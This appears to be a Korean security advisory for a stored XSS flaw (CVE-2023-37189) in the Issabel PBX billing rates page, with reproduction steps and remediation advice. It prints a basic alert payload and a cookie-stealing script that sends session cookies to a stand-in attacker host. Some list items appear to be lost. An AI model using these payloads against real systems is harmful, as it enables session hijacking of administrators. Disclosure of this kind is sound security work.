
저장형 크로스 사이트 스크립팅(Stored XSS) 취약점이 Issabel PBX 버전 4.0.0-6의 Billing Rates 관리 페이지(index.php?menu=billing_rates)에 존재합니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2023-37189 |
| 취약점 | 저장형 교차 사이트 스크립팅 (XSS) |
| 영향받는 제품 | Issabel PBX 4.0.0-6 |
| 영향받는 URL | index.php?menu=billing_rates |
| 취약한 필드 | 새 요금 만들기 모듈의 Name 및 Prefix 필드 |
| 심각도 | Medium (CVSS 3.1 Base Score: 6.1 — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) |
| 보고일 | 2023년 7월 7일 |
| 발견자 | Sahil Ojha |
| 테스트 환경 | Windows |
| 공급업체 홈페이지 | https://www.issabel.org/ |
| 소프트웨어 출처 | https://github.com/IssabelFoundation/issabelPBX |
Issabel PBX 버전 4.0.0-6의 요금 관리 페이지(index.php?menu=billing_rates)에서 저장형 교차 사이트 스크립팅 (XSS) 취약점이 존재합니다.
Issabel PBX는 FreePBX/Asterisk 기반으로 구축된 널리 사용되는 오픈 소스 통합 커뮤니케이션 플랫폼입니다. 요금 → 요금 기능을 통해 관리자는 사용자 정의 Name 및 Prefix로 통화 요금 항목을 정의할 수 있습니다. 입력 검증 및 출력 인코딩이 충분하지 않아 인증된 공격자가 두 필드에 임의의 HTML 또는 JavaScript를 주입할 수 있습니다. 악성 스크립트는 애플리케이션 데이터베이스에 영구적으로 저장되며, 이후 요금 페이지를 방문하는 모든 사용자(다른 관리자 포함)의 브라우저에서 자동으로 실행됩니다. 추가적인 상호작용은 필요하지 않습니다.
이러한 유형의 취약점은 관리 패널에서 특히 위험합니다:
Name 및 Prefix 필드에 대한 HTML 인코딩/출력 검증 누락다음 페이로드를 새 요금 만들기 양식의 Name 또는 Prefix 필드에 입력하면 취약점을 입증할 수 있습니다:
기본 경고 (기능 확인):
<script>alert('XSS')</script>
세션 쿠키 탈취 (실제 사용자나 시스템을 대상으로 하지 마십시오. attacker.example.com을 사용이 허가된 소유 서버로 바꾸십시오):
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
이미지 기반 onerror 페이로드 (WAF 우회):
⚠️ 참고: 이 페이로드는 교육 및 보안 연구 목적으로만 제공됩니다. 소유하지 않은 시스템에서 테스트하기 전에 항상 적절한 서면 허가를 받으십시오.
관리자 계정으로 Issabel PBX 웹 인터페이스에 로그인합니다.
Reports → Billing → Rates로 이동합니다. (URL: index.php?menu=billing_rates)
"Create New Rate" 를 클릭하고 Prefix 또는 Name 필드에 제작된 XSS 페이로드를 입력합니다.

Save를 클릭합니다. 페이로드가 데이터베이스에 저장됩니다.
요금 페이지를 방문하는 모든 사용자(다른 관리자 포함)의 브라우저에서 스크립트가 자동으로 실행됩니다.


공급업체 및 시스템 관리자는 다음 대책을 적용하는 것이 좋습니다:
ENT_QUOTES 플래그와 함께 htmlspecialchars() 사용). 이는 XSS에 대한 가장 신뢰할 수 있는 1차 방어입니다.<, >, ", ', &)를 제거하거나 인코딩합니다. 입력 검증만으로는 우회가 가능하므로 유일한 통제 수단으로 의존해서는 안 됩니다.Content-Security-Policy HTTP 헤더를 배포하여 인라인 스크립트 실행을 제한합니다.이 저장소와 여기에 포함된 정보는 교육 및 보안 연구 목적으로만 제공됩니다. 저자는 제공된 정보의 오용이나 손해에 대해 책임을 지지 않습니다. 보안 테스트를 수행하기 전에 항상 시스템 소유자로부터 명시적인 서면 허가를 받으십시오.
발견 및 보고자: Sahil Ojha